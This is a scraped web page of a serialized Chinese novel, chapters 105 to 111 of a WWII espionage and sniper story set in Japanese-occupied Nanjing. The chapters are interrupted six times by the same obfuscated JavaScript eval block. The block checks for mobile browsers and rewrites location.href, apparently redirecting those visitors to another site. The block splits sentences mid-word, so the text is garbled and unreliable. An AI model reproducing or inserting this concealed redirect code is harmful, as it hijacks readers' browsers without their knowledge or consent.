;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259615|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 林赤搂住了她的肩,眼光掠过街对面的黑黝黝的建筑。 大华电影院。 那是一栋三层高的大楼,以往这个时候,它又何尝不是灯火通明?它的门前又何尝不是车水马龙?散场的观影人群或结伴离去,或招手叫一辆黄包车,或钻进早已等候在此的轿车……它曾经是那么奢靡,那么辉煌万丈……可如今,繁华褪去,只剩下如墨的夜色中孑然的枯守。 林赤突然童心大发,兴趣盎然拉起曲思秋的手,就向街对面跑去…… “你想带我去哪里?” 来到大华电影院门前,林赤指了指楼顶,轻声说道:“我带你去一个离星星最近的地方。” 曲思秋好奇道:“门不是锁着吗,我们又如何上得去?” 林赤并不回答,走近大门,拨弄了一下,居然把锁拔开了,锁只是虚掩在门上,一用力,重重的大门被推开了。 “你怎么知道门没锁?”曲思秋惊喜地问道。 “我前些天无意发现的。”林赤一边回答,一边掩上大门。 “我记得有楼梯直通三楼。”林赤划亮了一根火柴,果然看到大门内侧的记忆中的楼梯。 趁着未燃尽的火柴的余光,拉着曲思秋赶紧上了楼梯。 用了三根火柴,林赤带着曲思秋爬上了三楼。还有半截楼梯,可以直通楼顶的天台。 “想上到屋顶吗?” “想啊想啊!”曲思秋兴奋地答道。 两人毫不犹豫上了天台,并意犹未尽地爬上了屋脊。 现在,他们终于来到了离星星最近的地方。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第106章 壮士出征 火柴的光亮再次点亮。 林赤将曲思秋丢在影院靠近大门处,自己一手擎着火光,一手握着手枪,向里面走去。 向里走了十几步,一个黑影出现在长椅上。 火柴的光亮中,黑影从长椅上慢慢抬起头。 一头长发披散在她的脸上,看不清五官,隐约看到一双惊恐的眼睛。 火柴已燃烧到手指根部,林赤连忙甩掉,又划亮了一根。 “不要伤害我……”光芒再现,女子惊颤着声音说道。 竟是一位年轻的女子,三十岁不到的样子。 林赤持着火光,已走近到她的跟前。 女子衣着单薄,衣衫不整,浑身在瑟瑟发抖。她的脸上,布满了污垢。 曲思秋壮着胆子,不知何时已站在林赤身后。 “你是人还是鬼?”曲思秋牙齿打颤着问道。 火柴又一次熄灭,黑暗中,女子听到了曲思秋的声音后,似乎稍稍镇定了下来,说道:“我就是本地人……” “这大夜晚的,你怎么会在这里。”林赤问道。 “我……我是刚刚逃出来的……” 林赤干脆不再点火,在黑暗中问道:“你从哪里逃出来的?” “朝天宫……从日本人那里逃出来的” 林赤好奇地问道:“朝天宫那里有日本人?” “嗯……” “那刚才我们从这里上楼,你在吗?” “在的……当时不敢吱声!”女子顿了顿,语气蓦然提高了些许:“求求你们救救我……” 林赤把手枪重新放好,又擦了一根火柴,这时他才发现女子身上血迹斑斑。 “你受伤了?”曲思秋也已发现,吃惊的问道。 “哦,是的。”曲思秋这一问话,像是唤醒了她的疼痛,她马上呻吟起来,“我是趁着天黑才逃了出来!” 林赤扔掉火柴头,架起了女子,把她移至靠近门口的椅子上。 曲思秋把大门打开了一条缝隙,一缕昏黄的亮色映衬进来。 “你说说,到底是怎么回事?”林赤道。 女子已经平静下来,幽幽说道:“日本人在朝天宫抓了很多女的,就是……每天……”她言语吱吱呜呜,眼泪马上夺眶而出,呜咽着继续说道:“我们就是专门做……做那种事,每天要接待五六十名日本人,好多姐妹受不了,每天都有死人,有被折磨致死,有被日本人杀死,还有病死的……我是千方百计才得以逃脱的!” “那你怎么会找到这里?” “我家原本就住在这旁边不远处,我对这一带很熟,不知不觉就逃到这里,当时看到来了几辆车,慌乱之下一推门,竟发现门的锁是坏的。” “你叫什么名字?”曲思秋插话。 “罗蔓。” 林赤看看曲思秋,商量着道:“思秋,你看怎么办?” “当然要帮帮她了,多可怜!”曲思秋不假思索道,“你帮我把她扶到诊所,我给她看看。” 罗蔓忙不迭声道谢。 林赤架着罗蔓穿过马路,曲思秋早已先于他们打开门,并开了灯。 林赤和曲思秋把罗蔓扶进里面的手术室,并顺手关上房门,自己坐在外间的椅子上,头趴在桌上,沉沉睡去。 不知过了多久,曲思秋出了手术间,推醒林赤。 “怎么样了?”林赤关切问道。 曲思秋摇摇头叹息道:“这帮小鬼子畜生,把好端端一个人折磨成这样!” 林赤下意识问道:“折磨成怎样?”话一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259616|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出口,马上觉得不妥,便改口道:“问题大不大?” “只是时间问题……”曲思秋说道:“我已经给她上了药,不过她很坚强!” 罗蔓一瘸一拐走出房间,灯光下,林赤这才发现除去满脸污垢的她,竟生得一副姣好面容,而且从年龄上判断,也不超过二十六七岁。 “谢谢这位大哥和小妹的搭救,大恩不言谢,我罗蔓今生未必能够相报,可也不知有没有来生,只能厚颜说一句,以后若有需要,必定粉身碎骨,在所不惜……” “言重了!”林赤打断了她的话,“你还是先歇息一下吧,天明后再行打算!” …… 林赤继续趴在桌上小憩了几个小时,凌晨五点不到,他再次醒了。 和池碧疆约定的五点就剩下十来分钟。 林赤刚想上楼叫醒钱瑾余,发现他已经从楼上走了下来。 “你一夜没睡?”钱瑾余问道。 “我睡过了。”林赤伸了个懒腰,递给他一根香烟,“他们的车快到了,你速速准备准备。” 钱瑾余将点燃的香烟朝外摆放在桌子上,进了盥洗室洗了把脸,很快出来了,将香烟重新叼在嘴里,一边吸着一边道:“也没什么可准备的,你就祝福我吧!” 林赤又看了看手表,拉着钱瑾余来到门外。 五点时分,果见街上驶来一辆轿车,很快在诊所门前停下,老冒从驾驶室走了下来,一见林赤,便轻声问好。 “他就是我所说的钱瑾余,和你们执行今天的任务!” 老冒握着钱瑾余的手自我介绍道:“你叫我老冒就行,我负责把你 送到下关的草鞋峡,他们在那里已准备好了船只。” 本小章还未完,请点击下一页继续阅读后面精彩内容! 第107章 新年第一战 就在林赤在直渎山南峰设伏的时候,渡边雪奈带着她的行动队十多名队员,乘着一辆军用卡车,已经抵达了宪兵司令部特高课。 特高课门前的一块空地上,特高课课长吉田多江少佐已经集合好队伍,焦急地等待着他们的到来。 松机关参与此次行动的,除了行动处外,还有一人被特意安排进来,他就是日军在南京的王牌狙击手工藤夕贵。 原本隶属第六师团的工藤夕贵中尉,已有七年军龄,是日本本州中部一名猎户的儿子,祖祖辈辈一直生活在赤石山脚,靠打猎为生,在他八岁时,就已经经常跟着爷爷上山打猎,十岁时已经练得一手好枪法,成为了一名经验老到的猎手,射杀猎物无数。一次偶然的机会,十六岁工藤夕贵和父亲到集市上出售狼皮,一位当地的买家在与他们交流时得知眼前的少年竟是杀狼之人,大为诧异,随意说了一句“这么好的枪法不参军太可惜了”,便一下子让少年工藤夕贵蠢蠢欲动起来,后来几经周折他终于如愿以偿,不听父辈劝告,毅然报名参军,成为了第六师团的一名普通士兵。这样的状况一直延续到第六师团开拔中国战场,情形才彻底改观,几场战役下来,工藤夕贵就战果累累,被他射杀的中国人已达数十人之多,如此战绩很快让他声名鹊起,一年之内,就挂上了中尉军衔,师团长谷寿夫亲手给他佩戴了勋五等双光旭日章。 日军攻入南京后最初,几乎每天都在城市的大街小巷上演着巷战,为应对南京复杂多变的战场态势,工藤夕贵被调至担任南京警备任务的第十六师团,随着城市巷战趋于平静,工藤夕贵又被黑木瞳相中,从此加入了松机关。 经历了被多家单位争抢的工藤夕贵,自来到松机关后,更加桀骜起来,总把自己当成了人见人爱、花见花开的香饽饽,除了黑木将军外,其他的人很少能进他的法眼,更别说比他级别低的军官了,事实也是如此,工藤第一天来松机关报到,就被机关长黑木委以重任,孤身潜入紫金山设伏,当天就击毙对手数人,并带回一条有关刘云雄夫人秦素芬的重要情报,这样的功绩,又怎能不让其他人羡慕嫉妒? 工藤夕贵来到南京已有些时日,真正意义上参与了两次狙击,第一次是在南京国际安全区的金陵女子文理学院的一栋教学楼上,当时是受命于特高课的川上麻衣课长,第二次就是紫金山一役,这两次狙击任务均是成果斐然! 集合的队伍中,几乎所有的人都是身着便装,连渡边和吉田也不例外。 唯一例外的乃是松机关的独行侠工藤夕贵。 今天的工藤夕贵,衣着有些怪异,他的上身是笔挺的军服,下身却是穿着一件休闲的便裤。 倒不是工藤夕贵没有接到渡边雪奈的命令,而是他不屑于执行那样的命令,他固执地认为,作为大日本的王牌狙击手,代表的是日本的军威,弘扬的是国威,不穿军服又如何能够体现?所以他对渡边的这一项命令置之若罔,谁让他是勋五等双光旭日章的获得者呢? 工藤这样的穿着勾起了渡边雪奈无名的怒火,但行动在即,倒也不便发作! 作为本次行动的总负责,渡边雪奈很快明确了任务。 燕子矶东西两侧各有一处码头,东侧称为东埠,原是国民政府的军用码头和南京城对外商业码头之一,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259617|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 燕子矶的真正意义上的埠口,西侧七八百米处,也有一处码头,被称之为西埠,规模小于东埠很多,原本是过往的小型商船和渔船为逃避税捐自然形成的靠岸地,是真正意义上的民办埠口。这两处埠口中间,隔着一座燕子矶。 共党代号镰刀的江苏省委一号首长即将登陆的码头,将是这东西埠口之其一,黑木主持会议的这一天,吉田多江和渡边雪奈两位少佐为镰刀可能选择的登陆点曾有过争执,二人各抒己见、各执一词,吉田认为镰刀必定会选择东埠,理由是东埠地势平坦,水流平缓,可方便迅捷地登岸;渡边持相反意见,她认为西埠虽然风高浪急,但有一些天然的障碍物,便于隐蔽登岸……正因为这样的分歧,所以此次行动名义上是渡边统一领导指挥,其实是吉田和渡边各自为阵,吉田带着他的队员控制东埠一带,而渡边则带着她的队员控制西埠一带,事实上也只能如此,因为谁都不是活神仙,可以准确预料出镰刀的登陆点。 王牌狙击手工藤夕贵却另有安排,他将带着一人和他的三八式狙击步枪提前潜入燕子矶上,在那里对东西埠进行监视,渡边给他的指令是,在嫌疑人上岸并进入他们的有效抓捕范围内,除了镰刀以外,可以随时随地对其他对象进行射杀! 两支队伍统一集合后,渡边花了十分时间重复了一下分工,然后双方立即分乘军用卡车向燕子矶方向进发。 和林赤一样,这两队人在离燕子矶尚还有一千米不到的地方,就弃车步行,临近时,所有的人员立即分散开来,一下子涌进了这片狭长的区域。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第108章 山雨欲来风满楼 船离岸愈来愈近,十多分钟后,已距离岸线不到一百米。 它在向西埠靠拢。 船身晃动激烈,看得出江中风高浪急。 是一艘渔船,船上三人,一人摇桨,乃为船夫,其他二人蹲在船头。 船绕过临江的岩壁,很快到达埠口,船头蹲着的二人摇摇晃晃慢慢立身,正在做好下船的准备,其中一人手提一物,头戴帽子,另一人伴身站着。林赤通过瞄准镜看出,那帽子似是礼帽,由于害怕被江风吹掉,帽子被压得很低,手提之物貌似箱子之类,而此人清清瘦瘦,依稀能看出钱瑾余的模样。在他的身后那人,双手空无一物。二人相互搀扶,探着身子,就欲下船。 离西埠不远处的临江路忽然间似乎躁动了起来。 临江路接壤西埠的那条分岔路上,人流也忽然密集起来。 瞄准镜中,那位馄饨摊位的食客在匆匆付钱;已经擦好皮鞋的男子不知何时已现身分岔路上;那位原本来回吆喝的香烟摊贩,此时立在临江路和西埠的叉路口,再也迈不动步子,竟然对身前买烟的客人置之不理,头朝着江边方向,翘首张望着什么;理发摊前的那位黑衣人已站了起来,鸭舌帽压得更低了,但林赤从她隆起的胸脯已完全断定是个女子…… 林赤感到周围的气氛一下子凝重起来。 山雨欲来风满楼! 再看西埠,船已靠岸,船头的二人从船上轻轻一跃,已然轻盈地上了岸,他们的脚一踏上码头的土地,那艘渔船即离岸而去。 江水扑岸,他们已没有了退路。 最先登岸的头戴礼帽的男子手里拎着一只红色木箱。 他的脚一着地,便把手中的木箱放在地上,右手从容地取下礼帽,左手捋了捋被风吹乱的发际,接着重新戴上帽子,他并未马上挪步,又把衣服掸了掸,然后用双手正了正衣领。 正是钱瑾余。 钱瑾余的目光扫视了一下四周。 他的目光先是掠过正东的燕子矶,接着又扫向了东南方向林赤藏身的山峰,这时他的目光似乎停顿了片刻。 钱瑾余收回了目光。 钱瑾余提起地上的红漆木箱。 钱瑾余终于迈动步子开始前行。 林赤知道,此时的钱瑾余已经做好了准备。 他的神态轻松,像是去赴一个约会。 一切按计划有条不紊的推进,至少目前看来如此。 钱瑾余走出十来步,蓦然从路边的房子里斜出一人,挡在了钱瑾余的面前,好像在询问他什么,二人对话片刻,来人接过木箱,在前面引路,钱瑾余和同行者紧跟他身后。 林赤判断,来人一定是老冒安排的接应者,方才分明是用暗语接头,而钱瑾余对他已然信任。 三人开始向临江路走去。 就在此时,他们身后的店铺中冒出两人,快步跟在他们身后,双方保持着十来米的距离。 林赤分不清这两人到底是敌是友。 领路的男子步伐很急,不时警惕地环顾四方。 此时的林赤,精神已高度集中,眼睛一眨不眨通过瞄准镜紧紧盯着路面,他的那支毛瑟98K狙击步枪的枪口随着钱瑾余的移动而快速移动! 离临江路只有几步之遥! 按计划,钱瑾余一行会从西埠的那条岔路上临江路,然后向林赤的藏身地方向而来,也就是沿临江路一路向东,穿过直渎山中间的那片开阔地,朝着迈皋桥的方向而来,在林赤身后数百米处的街巷中,老冒安排的一辆轿车此时应该已经发动,随时准备接应着这位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259618|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 假冒镰刀的钱瑾余! 林赤忽然觉得当初的这个安排是一个错误。 他当时只是想让他们离自己近一点,好凭借他的那支狙击步枪对他们实施火力掩护,这时才猛然醒悟,自己埋伏的方向敌人会更多! 因为此时的林赤另一只眼已经发现靠近自己的山下路面上,人流眨眼间躁动起来,他们不退反进,逆着滚滚的人流极速向着钱瑾余他们的方向迎了上去。 转眼之间,钱瑾余三人已经踏上了临江路。 似乎就在这一瞬间,临江路的东西西侧又冒出了不少人,已然将钱瑾余他们夹在中间! 提着箱子的领路者发现了异常,他的脚步马上停了下来,回头张望。 他们的身后,一帮陌生的面孔快速逼近! 见此情形,领路者明白了一切,他的手立即掏出一支手枪,钱瑾余和身后的随行者也在刹那间拔出了枪支……说时迟那时快,就在他们拔枪之际,围捕的人群忽然快速启动脚步,纷纷朝着他们扑了过来…… 他们的手上不知何时已经全部握着手枪。 领路人反应很快,他的枪率先响起,一个即将扑到身前的男子猝然倒地…… 这一声枪响,凌厉而刺耳,立即划破了冬日晌午时光的宁静与和谐! 这一声枪响,显得十分突兀,像是晴天里的一道霹雳! 周围的人流忽然如同中魔般的定住了。 几乎是枪响同时,从路边的房子里也冲出五六人,同时对合围者发起了射击!一时间枪声大作,离得最近的人纷纷倒地……临江路的往来人群这时才幡然醒 悟,开始喊叫着抱头逃窜!路面上立时乱成一锅粥。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第109章 高手对决 瞄准镜中的渡边雪奈一边挥舞着她手中的南部手枪,一边在声嘶力竭地喊叫着。 她的脑袋在一棵粗硕的松树后若隐若现。 她的警惕性很高,即便在指挥手下进攻的时候,也绝不让身体偏离那棵松树的树干。 黑色轿车已陷进了路沟之中,很显然司机已经受到了重创,活着的希望非常渺茫。从渡边的神情可以看出,截击轿车的任务已经完成,她正在收拢队伍准备奔赴下一个战场——去肃清“镰刀”身边的残敌,对“镰刀”实施抓捕! 只是渡边和她的队员慑于潜藏在附近的狙击手,谁也不敢率先光明正大地脱离出去,几名已完成击杀司机任务的队员,纷纷矮身藏于轿车的车前,连脑袋也不敢探出,其他的队员则躲在店铺的外墙后面,只能偶尔看到他们的衣服在红色的砖墙后时隐时现。 唯有渡边,整个人是突出来的,她依据的屏障,就是那棵松树。 看得出,时下的渡边是慌乱地,她居然也有害怕的时候! 林赤和渡边都在等待着机会,只不过,一个在祈求生,一个在祈求死。 远处的钱瑾余一行人,在经历了短暂的和平共处后,发现威胁似乎得到解除,竟然肆无忌惮地开始了新一轮的枪战。 林赤已经无暇顾及,虽然心中焦急,但也分身乏术,他连眼睛也不敢瞟一下!他要锁定眼前的敌人,以确保能够拖住他们,至于钱瑾余一众人的最后归宿,目前也只能祈祷天佑了。 焦急的不仅是林赤一方,渡边一伙也正在备受煎熬,此时的渡边已准确地估计出形势,她从刚刚鸣响的枪声已经有所判断,这一枪定不是埋伏在燕子矶上的工藤夕贵所开,这颗子弹分明是冲着他们而来,但她根本没能看到枪手,周围除了路的东南方向一百米开外的那座直渎山外,再无可藏之处,而这么远的距离,想射杀他们,那此人一定和工藤夕贵有着相似的身份,所以,渡边忽然明白,他们遭遇到敌人的狙击手了! 她清楚地知道,一定有一支枪口,已暗中锁定了她。 刚才那一枪虽然没有击中他们,但渡边并不抱任何侥幸心理,她深谙只要她一探头,必定有一颗子弹破膛而出,直索她的性命! 谁会大胆到用自己的生命作为赌注,孤注一掷? 可前方的枪声愈演愈烈,且战况不明,她不能让共党的首脑从她的眼皮底下逃脱,也不能让前期所有的辛劳付诸东流!她更不能让黑木将军对她失望! 这是她加入松机关以来的首战,并且是她第一次带队独立行动,她必须做到凤凰涅盘、破茧成蝶!所有的荣辱在此一举! 思虑至此,她心急如焚。 唯一能做的,就是让行动处的队员赶紧对她施行掩护,可是这时候的渡边才发现,平时信誓旦旦效忠天皇、效忠帝国的手下所积极采取的措施就是自保,他们通过一切可利用的障碍物来求得暂时的平安! 渡边决定采取极端手段。她对躲在车前的属下发布命令,让他们赶紧从那里脱离出来,速速来掩护自己撤退!她发布命令的语气尽管严厉而决绝,然而一开始竟无人响应,渡边再也按耐不住,抬枪对一名队员就是一枪。 这一枪击中了一名往后退缩的队员的大腿,那人立即凄厉地惨叫一声,这声惨叫便立时撕碎了其他几人的侥幸和幻想!相比而言,他们的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259619|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 队长渡边少佐离他们要比狙击手近得多,因而受到伤害也要现实得多,孰重孰轻,这一点他们还是能够分得清楚的! 这些人稍加权衡后,就一股脑地冲了出来,由于都害怕被击中,他们的移动速度显得迅捷异常,俄顷间已涌到渡边藏身的松树前,结成一道人墙,挡在了渡边的身前。 渡边心中惊喜,很快把纤细的身体藏在了这堵“墙”后。 林赤本意是要取渡边的性命,却不料眼前出现了如此奇异的景象,瞄准镜中,一个身材稍高的男子在他的枪口下晃悠着……林赤不愿再等,果断扣下了扳机! 那位男子应声倒下,这一枪没有任何意外。 男子倒地后,渡边的脑袋马上暴露了出来,几乎在子弹出膛的一瞬间,林赤以毫秒的速度拉了拉枪栓,然后再次瞄准…… 渡边在人墙后正仓皇地后退,很快就将隐身于路边的房子后! 林赤的手霎那间搭在了扳机上…… 就在这时,林赤忽然感受到一股劲风拂过! 一颗子弹击在他身体右侧的岩石上! 与此同时,尖锐的枪声涌入他的耳道,接踵而至的声波跟着灌了进来,冲击着他的耳膜,让他觉得一阵刺痛! 子弹劈开岩石,碎石四溅,碎片如银蛇飞舞,竟有一颗划破他的脸颊。 林赤并未马上觉得疼痛,但碎石所带来的冲量已让他的枪口产生了位移……眨眼间,扣下的扳机已失去了准星,子弹偏离了既定的轨道,如泥牛入海…… 伴随而至的是林赤震惊后的懊悔,他功败垂成! 这章没有结束,请点击下一页继续阅读! 第110章 初现端倪 林赤这一枪,击中了工藤夕贵的右手小手臂。 旧伤未愈,又添新伤。同样伤在右手,同样伤在手臂上,不同的是枪伤的形态,上一次只是掀掉了手臂上的一块肉,而这一次,却是贯穿伤,子弹穿透了他的小手臂,在肘部前方三寸处,留下了一个数毫米的血孔。 所幸的是,子弹并未伤及动脉,更所幸的是,如果子弹再偏上一寸,则必会击中他的头部。 当时,他呈瞄准射击态,脑袋几乎是搁在手臂上。 此时伤口已经闭合,但血怎么也止不住,湿透了他的衣袖,很快在他的藏身的岩石上,留下了一大片血迹。一同前来的队友见状撕下了他衣服上的一块布料,经过包扎后,这才止住了血。 这一枪,工藤夕贵始料未及。 这颗从对面直渎山南峰飞来的子弹,没有任何征兆,工藤夕贵做梦也没想到,就在他开枪射击的那一瞬间,会又一颗诡异的子弹同样向他扑来。 猎户出身的工藤夕贵,从他开始拿起猎枪至今,扼杀生命无数,只要是他盯上的“猎物”,从未有过半毫差池,并且几乎都是一枪致命,可是今天的伏击不但成效微薄,反而却被对方所伤。 他心中明白,这并不是偶然,很显然,他低估了对方的实力! 直到他看到汩汩流淌的鲜血,他醒悟过来,他碰上了中国狙击手,而且是碰上了一名优秀的狙击手,至于双方的实力,对一向自负的他而言,工藤夕贵并不会承认自己技不如人,他将这一切归咎于自己的粗心,是的,粗心大意罢了!可依旧让他不解地是,在帝国的占领区内,居然还隐藏着这样一位世外高人! 今天的遭遇是他的奇耻大辱! 工藤夕贵的内心充斥着满满的仇恨,但这样的仇恨竟然无处发泄,就像好端端走路时,身后忽然被人打了一下,但转头之际,已空无一人。 他已然失去了对手的踪迹,甚至连对手的高矮胖瘦都不得而知。 工藤夕贵气恼得重重踢了一脚身前的岩石,却弄疼了自己,他咧着嘴气急败坏地一屁股坐在了地上。 …… 接应工藤二人的队友很快把他们带回到预先约定的地点,松机关幸存的队员在渡边的带领下,正焦急地等待着他们的归队。由于担心“镰刀”再出意外,见到狙击手工藤的时候,渡边已经显得极不耐烦,但她的注意力很快放在了工藤受伤这件事上,她对工藤表现出从未有过的关怀,反复问他伤势如何,以及是何人所伤。 是的,能够击伤自负的、不可一世的王牌狙击手的狙击手到底为何方神圣? 工藤从她的神情中读出了她的幸灾乐祸,便不想理她。 “工藤君不妨和我们一道将犯人押送到老虎桥监狱,待会儿我们处理好犯人的事后,再送工藤君去鼓楼医院处理一下伤口,如何?”渡边雪奈少佐似笑非笑地看着工藤夕贵说道。 工藤忽然明白了,他一定是得罪了这位性格阴鸷的女人了。 吉田多江带着他的特高课队员在周围警戒。 行动处的李泉带领一众人将共党嫌犯“镰刀”押上了卡车,所有人如临大敌,怕另生变故。 此时的钱瑾余,他的双手被反绑着,低垂着脑袋,那顶灰色的礼帽压得很低,看不清他的表情。 渡边和工藤坐上了军用卡车的驾驶室。 卡车开始驱动。 吉田多江一行人赶紧跳上另一辆卡车紧随其后。 他们浩浩荡荡向着老虎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14259620|151631||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桥监狱的方向进发。 老虎桥监狱,黑木将军已经等候在此。 他居然能掐会算! 他的身后,站着典狱长武内次郎和副典狱长陈炳松。 黑木已然看到卡车上擒获的共党江苏省委一号首长“镰刀”,这是他必须要看到的一幕!他的脸上游过一丝欣慰的笑容,不等车子停好,就趋步上前,亲自替渡边开了车门。 “渡边少佐辛苦了!”黑木地心情十分晴好。 渡边连忙跳下车,脸上荡起一副奇异的表情,有受宠若惊,有洋洋自得,有矜持傲慢……这些神态虽被匆匆的揉捏在一起,竟也显出十分和谐。 跟着下车的是工藤,他的伤口仅仅被同伴粗糙地处理了一下,一根棉布条毫无节操地将他的手臂吊挂在脖子上,怎么看都让人沮丧。 黑木见此情形,有些震惊,“怎么,工藤君受伤了?” “敌人在事发地布置了一名狙击手……”工藤垂头丧气说道。 “伤得严重吗?”黑木接着关切问道。 “工藤君太不小心了!”渡边不失时机地奚落了一句。 工藤已经忍了她很久,这时,她不合时宜的抢答让工藤一下子愤怒起来,几乎是咆哮地回敬道:“渡边小姐,如果不是我及时施救,你还有机会活到现在?恐怕你早已成了那名狙击手的抢下鬼啦!” 这句话尽管是大实话,但渡边嗤之以鼻,但双方交恶在先,谁让他得罪了她呢? 黑木不想看着两位部下争吵,连忙提高声音道:“二位辛苦!”说完,黑木回头向武内次郎招了招手,武内疾步走近。 小主,这个章节后面还有哦,请点击下一页继续阅读, 后面更精彩! 第111章 神秘的箱子 脚步声渐行渐近,分明是奔着工藤夕贵的宿舍而来。 工藤连忙一脚将稻田的行李箱蹬向床底下,由于起脚仓促,发力不均,箱子的边缘撞上了床脚,整个箱身旋转了将近九十度,竟没能一下子隐身床下,一只箱角突现在外,而原先摆放朝外的锁扣已然偏离到一侧…… 如果重新整理,时间已经不允许,脚步声已到了门前。 不但如此,就连工藤都没能恢复原位。 大门这个时候被推开了。 真是担心什么,就会来什么,推门而进的正是行李箱的主人——电讯股股长稻田勇。 日军南京城的王牌狙击手工藤夕贵的枪法一流,但表演不是没有天赋,简直是糟糕透顶,当稻田勇的目光投进宿舍时,他第一眼看到的就是工藤僵立在他的床前,稻田把目光自然上移,他第二眼看到的是工藤慌张地表情。 “你怎么……这个时候回来?”工藤不但神色慌乱,言语也磕磕巴巴,往日的傲慢和自信顿失,一副手足无措的样子。 “你在干什么?”稻田盯着工藤,满脸狐疑问道。 “我……我受伤了……”工藤完全答非所问。 稻田进了房间,关上房门,朝着自己的床铺方向而来,工藤的身体挡在暴露在外的箱子前,随着稻田的走近而慢慢转动,分明是想遮挡住他的视线。 工藤夕贵拙劣的演技让他的目的昭然若揭。稻田在情报机关浸淫多年,打交道最多的就是各式各样的阴谋,耳濡目染,心如明镜,自然识得工藤这低劣的手段,稻田显然是在欲盖弥彰着什么,他的目光穿过工藤双腿的外侧,一眼就看到自己的行李箱被人动过,心中一沉。 工藤一定对他的箱子做了什么! 再看工藤,神情极不自然,他的右手似乎又受伤了,缠裹着纱布,吊在脖子上,看到这里,稻田心中稍安,毕竟,工藤这样的残象不足以对他的箱子有过分的举动;毕竟,他们乃为同僚和舍友,不至于明目张胆撬开他的箱子;毕竟,他的箱子上加了锁;毕竟,那把锁是目前工艺最为复杂的,还没听说有人能够了无痕迹地打开过它。 如果工藤尚没有看到他的箱中之物,那么稻田这个时候所要做的,便不是对他的行李箱表现出更迫切的关注,很显然,只会打枪的工藤已经对他的箱子产生了好奇,他不能用自己的行为引诱或者激发他更强的好奇心,只能装作若无其事,这样或许会冷却他的求知欲! “怎么,工藤君又受伤了?怎么这么不小心?”稻田不再逼近,顺势坐在了工藤的床铺上,换成一副关怀备至的模样。 同样的这句话,渡边雪奈讲过,当时工藤认为是对他的极大污蔑,而今,稻田勇也有此一说,工藤非但没有生气,反而备受感动,但是这种感动倒不是因为对方对自己受伤的关怀,而是感动于对方忽然放弃了对他的进逼——当下的他已阵脚大乱,正不知如何收场……因而,这样的感动多多少少也有伪装的成分。 于是,工藤这个时候坐在稻田的床铺上便显得十分自然,工藤的双腿遮在裸露在外的箱角上,“今天执行一项任务,遇到了一个支那狙击手……” 工藤一边说话吸引着稻田的注意力,贴在箱子上的双腿微微用力,将凸在床沿外的箱角推进床底,他继续说道:“我万万没想到,支那竟然藏龙卧虎,是我大意了……” 